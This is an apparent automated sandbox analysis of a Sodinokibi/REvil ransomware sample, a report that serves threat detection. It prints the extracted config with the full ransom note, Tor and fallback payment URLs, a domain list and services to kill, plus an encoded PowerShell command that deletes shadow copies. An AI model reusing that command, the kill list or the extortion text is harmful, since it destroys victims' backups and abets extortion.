Analysis
-
max time kernel
161s -
max time network
141s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 02:27
General
-
Target
1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe
-
Size
156KB
-
MD5
192a50af6c99b0c3467b9c8e1f77328b
-
SHA1
3664ac535c27284ab728dd58399bdd378ba7dc3f
-
SHA256
1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296
-
SHA512
26fe6d4024b429197e1d3387b110e8f5a17dfbfd5b213b1f64683090920e37bffefc4df89aa1745d7ef1fff19eab55b397decfcb7482af60529318cf370df50b
Malware Config
Extracted
C:\j0ph7gnrwc-readme.txt
ryuk
https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9625C30E2ECA37F1
http://decryptor.cc/9625C30E2ECA37F1
https://filehippo.com/download_tor_browser_for_windows/
Extracted
sodinokibi
$2a$10$vPKpC1O/SYmZobyqpU2/OupF9ekyq7ZeIUOxwq.KtIUu7Ka011uUi
4738
2ekeus.nl
fitnessbazaar.com
vietlawconsultancy.com
dontpassthepepper.com
triactis.com
pawsuppetlovers.com
directwindowco.com
evangelische-pfarrgemeinde-tuniberg.de
tinkoff-mobayl.ru
milestoneshows.com
gopackapp.com
better.town
oslomf.no
kath-kirche-gera.de
hokagestore.com
deko4you.at
praxis-management-plus.de
wurmpower.at
atozdistribution.co.uk
executiveairllc.com
-
net
true
-
pid
$2a$10$vPKpC1O/SYmZobyqpU2/OupF9ekyq7ZeIUOxwq.KtIUu7Ka011uUi
-
ransom_oneliner
---=== Sodinokibi Ransomware ===--- All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
4738
-
svc
veeam
mepocs
backup
sql
svc$
sophos
vss
memtas
Signatures
-
Modifies system executable filetype association 2 TTPs 1 IoCs
-
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
-
Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Executes dropped EXE 1 IoCs
-
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Suspicious use of AdjustPrivilegeToken 6 IoCs
-
Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe"C:\Users\Admin\AppData\Local\Temp\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe"1⤵
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe"2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exeMD5
01b35d89964766397cb1c060b4189ae0
SHA18b887dc517d1d675995da8f654c532de35a709aa
SHA2569457cf38de2c1a5f13dfd9b05bec95ff22211049df08688e852ee12a6ee3b211
SHA512f539b807c588830d30102d2c960696c13432cd99341d98b8eced699d4bc68d5863c636d92385f35bff5fa36e4ca3eb8e74b6a6c660f485c32645ec9e38fc2471
-
C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exeMD5
01b35d89964766397cb1c060b4189ae0
SHA18b887dc517d1d675995da8f654c532de35a709aa
SHA2569457cf38de2c1a5f13dfd9b05bec95ff22211049df08688e852ee12a6ee3b211
SHA512f539b807c588830d30102d2c960696c13432cd99341d98b8eced699d4bc68d5863c636d92385f35bff5fa36e4ca3eb8e74b6a6c660f485c32645ec9e38fc2471
-
memory/1264-125-0x000001FA0E720000-0x000001FA0E742000-memory.dmpFilesize
136KB
-
memory/1264-131-0x000001FA26D70000-0x000001FA26DE6000-memory.dmpFilesize
472KB
-
memory/1264-138-0x000001FA0EC70000-0x000001FA26E20000-memory.dmpFilesize
385.7MB
-
memory/1264-139-0x000001FA0EC70000-0x000001FA26E20000-memory.dmpFilesize
385.7MB